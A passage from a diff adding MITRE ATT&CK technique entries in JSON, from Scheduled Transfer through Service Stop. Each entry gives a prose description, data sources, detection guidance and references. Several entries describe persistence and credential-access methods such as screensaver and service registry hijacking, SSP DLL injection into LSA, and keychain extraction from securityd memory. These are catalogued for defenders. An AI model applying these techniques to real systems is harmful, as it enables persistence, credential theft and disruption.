"https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen" + }, + { + "source_name": "TechNet Scheduled Task Events", + "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.", + "url": "https://technet.microsoft.com/library/dd315590.aspx" + }, + { + "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.", + "source_name": "Microsoft Scheduled Task Events Win10", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events" + }, + { + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "source_name": "TechNet Autoruns", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "modified": "2019-07-25T19:04:10.980Z" + }, + { + "x_mitre_data_sources": [ + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring" + ], + "name": "Scheduled Transfer", + "description": "Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.", + "id": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:30:34.139Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "external_references": [ + { + "external_id": "T1029", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1029" + } + ], + "modified": "2019-07-18T18:24:58.828Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "File monitoring" + ], + "name": "Screen Capture", + "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n### Mac\n\nOn OSX, the native command screencapture is used to capture screenshots.\n\n### Linux\n\nOn Linux, there is the native command xwd. (Citation: Antiquated Mac Malware)", + "id": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:25.060Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "external_references": [ + { + "external_id": "T1113", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1113" + }, + { + "source_name": "capec", + "external_id": "CAPEC-648", + "url": "https://capec.mitre.org/data/definitions/648.html" + }, + { + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + } + ], + "modified": "2019-06-18T13:58:28.377Z" + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Windows Registry", + "File monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Screensaver", + "description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations. \n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)", + "id": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Bartosz Jerzman" + ], + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1180", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1180" + }, + { + "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.", + "source_name": "Wikipedia Screensaver", + "url": "https://en.wikipedia.org/wiki/Screensaver" + }, + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + } + ], + "modified": "2019-09-03T16:12:27.771Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "File monitoring", + "Process command-line parameters" + ], + "name": "Scripting", + "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)", + "id": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-24T13:41:53.706Z", + "created": "2017-05-31T21:30:51.733Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1064", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1064" + }, + { + "description": "Metasploit. (n.d.). Retrieved December 4, 2014.", + "source_name": "Metasploit_Ref", + "url": "http://www.metasploit.com" + }, + { + "source_name": "Veil_Ref", + "description": "Veil Framework. (n.d.). Retrieved December 4, 2014.", + "url": "https://www.veil-framework.com/framework/" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "source_name": "Alperovitch 2014", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + }, + { + "source_name": "Uperesia Malicious Office Documents", + "description": "Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018.", + "url": "https://www.uperesia.com/analyzing-malicious-office-documents" + } + ], + "x_mitre_defense_bypassed": [ + "Process whitelisting", + "Data Execution Prevention", + "Exploit Prevention" + ] + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "name": "Security Software Discovery", + "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.", + "id": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.1", + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:51.330Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1063", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1063" + } + ], + "modified": "2019-09-12T19:56:36.399Z" + }, + { + "x_mitre_data_sources": [ + "DLL monitoring", + "Windows Registry", + "Loaded DLLs" + ], + "x_mitre_permissions_required": [ + "Administrator" + ], + "name": "Security Support Provider", + "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)", + "id": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:13.447Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1101", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1101" + }, + { + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "source_name": "Microsoft Configure LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ], + "modified": "2019-06-24T12:15:29.952Z" + }, + { + "x_mitre_data_sources": [ + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "root" + ], + "name": "Securityd Memory", + "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)", + "id": "attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "external_id": "T1167", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1167" + }, + { + "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.", + "source_name": "OS X Keychain", + "url": "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain" + }, + { + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "source_name": "OSX Keydnap malware", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + }, + { + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.", + "source_name": "External to DA, the OS X Way", + "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + } + ], + "modified": "2018-10-31T13:45:13.024Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Application logs" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "root" + ], + "name": "Server Software Component", + "description": "Adversaries may abuse legitimate extensible development features of server applications to establish persistent access to systems. Enterprise server applications may include features that allow application developers to write and install software to extend the functionality of the main application. Adversaries may install malicious software components to maliciously extend and abuse server applications.\n\n###Transport Agent\nMicrosoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks.\n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.\n\n###SQL Stored Procedures\nSQL stored procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted). Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017)\n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures, these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR)", + "id": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components. On MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Christoffer Str\u00f6mblad", + "Kaspersky", + "Lucas da Silva Pereira, @vulcanunsec, CIP", + "Carlos Borges, @huntingneo, CIP", + "ESET" + ], + "created": "2019-06-28T17:52:07.296Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1505", + "url": "https://attack.mitre.org/techniques/T1505" + }, + { + "description": "Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019.", + "source_name": "Microsoft TransportAgent Jun 2016", + "url": "https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help" + }, + { + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "source_name": "ESET LightNeuron May 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + }, + { + "description": "Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server \u2013 Part 1: Startup Stored Procedures. Retrieved July 8, 2019.", + "source_name": "NetSPI Startup Stored Procedures", + "url": "https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/" + }, + { + "description": "Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019.", + "source_name": "Kaspersky MSSQL Aug 2019", + "url": "https://securelist.com/malicious-tasks-in-ms-sql-server/92167/" + }, + { + "description": "Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019.", + "source_name": "Microsoft xp_cmdshell 2017", + "url": "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017" + }, + { + "description": "Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019.", + "source_name": "Microsoft CLR Integration 2017", + "url": "https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017" + }, + { + "description": "Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved July 8, 2019.", + "source_name": "NetSPI SQL Server CLR", + "url": "https://blog.netspi.com/attacking-sql-server-clr-assemblies/" + } + ], + "modified": "2019-09-27T19:01:29.543Z" + }, + { + "x_mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "name": "Service Execution", + "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.", + "x_mitre_remote_support": true, + "id": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:36.550Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1035", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1035" + } + ], + "modified": "2019-07-18T19:12:52.205Z" + }, + { + "x_mitre_data_sources": [ + "Process command-line parameters", + "Services", + "Windows Registry" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "name": "Service Registry Permissions Weakness", + "description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)", + "id": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "x_mitre_system_requirements": [ + "Ability to modify service values in the Registry" + ], + "type": "attack-pattern", + "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward", + "Travis Smith, Tripwire" + ], + "created": "2017-05-31T21:30:49.119Z", + "x_mitre_effective_permissions": [ + "SYSTEM" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1058", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1058" + }, + { + "source_name": "capec", + "external_id": "CAPEC-478", + "url": "https://capec.mitre.org/data/definitions/478.html" + }, + { + "source_name": "MSDN Registry Key Security", + "description": "Microsoft. (n.d.). Registry Key Security and Access Rights. Retrieved March 16, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx" + }, + { + "description": "Hull, D. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.", + "source_name": "TrustedSignal Service Failure", + "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html" + }, + { + "source_name": "Twitter Service Recovery Nov 2017", + "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.", + "url": "https://twitter.com/r0wdy_/status/936365549553991680" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "modified": "2019-10-11T02:52:39.175Z" + }, + { + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ], + "x_mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "Windows Registry", + "API monitoring" + ], + "name": "Service Stop", + "description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)", + "id": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_impact_type": [ + "Availability" + ], + "type": "attack-pattern", + "x_mitre_detection": "Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\n\nMonitor Registry edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services.\n\nAlterations to the service binary path or the service startup type changed to disabled may be suspicious.\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-29T19:00:55.901Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1489", + "url": "https://attack.mitre.org/techniques/T1489" + }, + { + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "source_name": "Talos Olympic Destroyer 2018", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + }, + { + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "source_name": "Novetta Blockbuster", + "url": 